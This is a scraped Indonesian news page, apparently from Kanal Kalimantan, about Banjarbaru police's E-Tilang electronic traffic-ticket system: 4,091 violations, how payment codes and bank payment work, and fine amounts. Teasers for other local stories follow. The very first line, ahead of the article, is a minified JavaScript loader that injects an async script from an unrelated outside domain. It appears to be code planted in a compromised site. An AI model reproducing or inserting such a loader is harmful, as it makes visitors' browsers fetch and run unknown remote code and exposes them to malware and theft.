(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

4.091 Pelanggar Terjaring E-Tilang Polres Banjarbaru


BANJARBARU, E-Tilang (Elektronik Tilang) merupakan program penilangan bagi pelanggar lalu lintas yang diproses secara online. Di Banjarbaru, programe-tilang tersebut sudah diberlakukan sejak kurang lebih enam bulan. Hasilnya, tercatat 4.091 kasus pelanggaran lalulintas yang terjaring dalam rentang tersebut.

Sejumlah pelanggar lalu lintas yang terjaring E-Tilang oleh Polres Banjarbaru.

Lalu apa itu E-Tilang? Kanit Dikyasa Polres Banjarbaru, Iptu Tajudin Noor M mengatakan, masyarakat yang kena tilang akan diberikan surat tilang berwarna biru. Dalam waktu 2-3 jam setelah diregistrasi, si pelanggar akan mendapatkan kode untuk melakukan pembayaran di Bank BRI. Jika pembayaran sudah dilakukan, si pelanggar kemudian membawa bukti pembayaran ke bagian penilangan untuk mengambil berkas miliknya yang ditahan.

Si pelanggar tidak lagi melalui proses sidang, akan tetapi berkas tetap dimasukkan kepersidangan sedangkan diri dari pelanggar tidak ikut menghadiri persidangan. “Supaya masyarakat membayarnya pas, tidak ada kekurangan ataupun kelebihan. Besaran denda yang ditentukan yakni Rp 250 ribu, kecuali bagi yang memilih hadir langsung ke persidangan,” terangnya.

Ia mengatakan, pada saat tilang, pelanggar bisa menentukan surat berwarna apa yang ia pilih. Jika pelanggar memilih surat tilang berwarna biru, berarti pelanggar akan melakukan pembayaran sesuai teknis e-tilang. Sedangkan pelanggar yang memilih surat tilang berwarna merah, artinya pelanggar memilih untuk hadir di persidangan.

“Batas waktu kode pembayaran berlaku selama 4 hari. Jika lewat dari empat  hari pelanggar masih belum membayar, maka kode pembayaran sudah tidak berlaku lagi, sehingga pelanggar harus konfirmasi lagi ke bagian penilangan untuk meminta kode pembayaran baru,” terangnya.

Menurutnya, selama diberlakukannya E-Tilang, masyarakat tidak protes justru proses lebih mudah dan murah. “Biasanya untuk pelanggar yang tidak memiliki SIM besaran denda yang harus ia bayar ialah Rp 1 juta, sedangkan dengan e-tilang berdasarkan ketetapan denda yang harus dibayar hanyalah Rp 250 ribu.. Waktunya pun lebih singkat dan pelanggar tidak perlu berhadir pada acara persidangan. Ada juga pelanggar yang mau ikut persidangan saja, akan tetapi kalau bisa masyarakat tetap harus membayar melalui bank, guna menghindari-hal hal yang polisi tidak lagi boleh menerima uang  dari pelanggar,” jelasnya.***


Desy Arfianty

Recent Posts

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

14 menit ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

27 menit ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

40 menit ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

1 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

1 jam ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

2 jam ago

This website uses cookies.